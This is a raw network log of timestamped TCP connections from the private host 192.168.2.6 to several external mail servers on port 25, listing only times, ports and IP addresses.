Jan 7, 2022 15:44:00.211007118 CET	49969	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:00.263434887 CET	25	49969	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:00.263585091 CET	49969	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:00.320828915 CET	25	49969	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:00.325445890 CET	25	49969	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:00.325571060 CET	49969	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:00.325660944 CET	49969	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:00.325968027 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:00.377836943 CET	25	49969	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:00.377939939 CET	49969	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:00.673682928 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:00.673782110 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:00.790160894 CET	49971	25	192.168.2.6	131.107.55.31
Jan 7, 2022 15:44:00.979463100 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:00.979578018 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:01.179050922 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:01.179183006 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:01.335222960 CET	49966	25	192.168.2.6	131.107.88.24
Jan 7, 2022 15:44:01.401617050 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.453768969 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.457132101 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.481245995 CET	49973	25	192.168.2.6	195.29.173.131
Jan 7, 2022 15:44:01.510427952 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.512202024 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.526896000 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:01.564666986 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.567364931 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.567567110 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.620476961 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.620659113 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.677963972 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.688525915 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:01.688739061 CET	49970	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:01.748501062 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.748663902 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.800610065 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.801134109 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.802339077 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.802885056 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.855187893 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.855227947 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.855254889 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.855274916 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.855302095 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.855397940 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.855458975 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.855472088 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.859858990 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.860013962 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.907567024 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.907601118 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.907629013 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.907655954 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.907684088 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.907705069 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.907711029 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.907738924 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.907779932 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.907901049 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.907975912 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908004045 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908027887 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908030033 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.908056974 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.908056021 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908116102 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.908140898 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908148050 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.908170938 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908199072 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908202887 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.908225060 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908252001 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908267975 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.908278942 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.908307076 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.908363104 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.912139893 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.912158966 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.912295103 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960166931 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960208893 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960238934 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960264921 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960292101 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960318089 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960345984 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960371017 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960397005 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960445881 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960510015 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960527897 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960547924 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960575104 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960606098 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960623980 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960639954 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960659027 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960665941 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960680962 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960692883 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960711002 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960741997 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960773945 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.960844994 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960913897 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.960941076 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961015940 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961030960 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961044073 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961074114 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961090088 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961100101 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961127043 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961149931 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961153984 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961188078 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961191893 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961251020 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961257935 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961285114 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961302996 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961313009 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961334944 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961342096 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961368084 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961370945 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961395025 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961404085 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961421013 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961457014 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961493969 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961519957 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961519957 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961546898 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961575031 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.961577892 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961633921 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.961654902 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.964416981 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.964443922 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.964469910 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.964497089 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:01.964530945 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.964582920 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:01.964602947 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.013067961 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013118982 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013161898 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013169050 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.013202906 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013212919 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.013251066 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.013295889 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.013540030 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013581038 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013617992 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013659000 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013720036 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.013755083 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.013807058 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013900042 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013936043 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013951063 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.013972998 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.013976097 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.013993979 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014014006 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014039040 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014054060 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014072895 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014091969 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014116049 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014130116 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014154911 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014166117 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014189005 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014202118 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014229059 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014240026 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014266968 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014277935 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014301062 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014317989 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014327049 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014354944 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014379978 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014393091 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014420033 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014431000 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014453888 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014467001 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014489889 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014504910 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014523983 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014544964 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014585972 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014612913 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014627934 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014666080 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014695883 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014702082 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014733076 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014739990 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014767885 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014775038 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014792919 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014811039 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014837027 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014847994 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014885902 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014916897 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014925003 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014950037 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014961958 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.014982939 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.014997959 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015022039 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015036106 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015055895 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015072107 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015111923 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015146971 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015183926 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015188932 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015213966 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015249014 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015371084 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015408039 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015444994 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015480042 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015516996 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015554905 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015556097 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015589952 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015590906 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015597105 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015620947 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015661001 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015680075 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015716076 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015754938 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015784979 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015830994 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.015845060 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015911102 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015947104 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.015983105 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016019106 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016035080 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016055107 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016055107 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016074896 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016093016 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016118050 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016132116 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016155005 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016171932 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016191006 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016210079 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016246080 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016283035 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016321898 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016356945 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016385078 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016417980 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016568899 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016607046 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016645908 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016690016 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016721964 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.016736031 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016916990 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016957998 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.016985893 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.017015934 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.017056942 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.017092943 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.017122984 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.038652897 CET	25	49970	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:02.065368891 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.065406084 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.065434933 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.065464973 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.065488100 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.065491915 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.065547943 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.065565109 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.065701962 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.065732002 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.065807104 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.066009045 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.066030979 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.066059113 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.067223072 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.067261934 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.067311049 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.067339897 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.067352057 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.067569017 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.067600012 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.067759037 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.067841053 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.068335056 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.068365097 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.068451881 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.068454981 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.068485975 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.068532944 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.068576097 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.068686008 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.068712950 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.068777084 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.068911076 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.068984985 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069005013 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069040060 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069056034 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069169998 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069293022 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069320917 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069348097 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069375038 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069385052 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069405079 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069411039 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069432974 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069439888 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069453955 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069472075 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069490910 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069509029 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069540977 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069576025 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069582939 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069588900 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069611073 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069643974 CET	49972	25	192.168.2.6	142.250.150.26
Jan 7, 2022 15:44:02.069684029 CET	25	49972	142.250.150.26	192.168.2.6
Jan 7, 2022 15:44:02.069689035 CET	49972	25	192.168.2.6	142.250.150.26
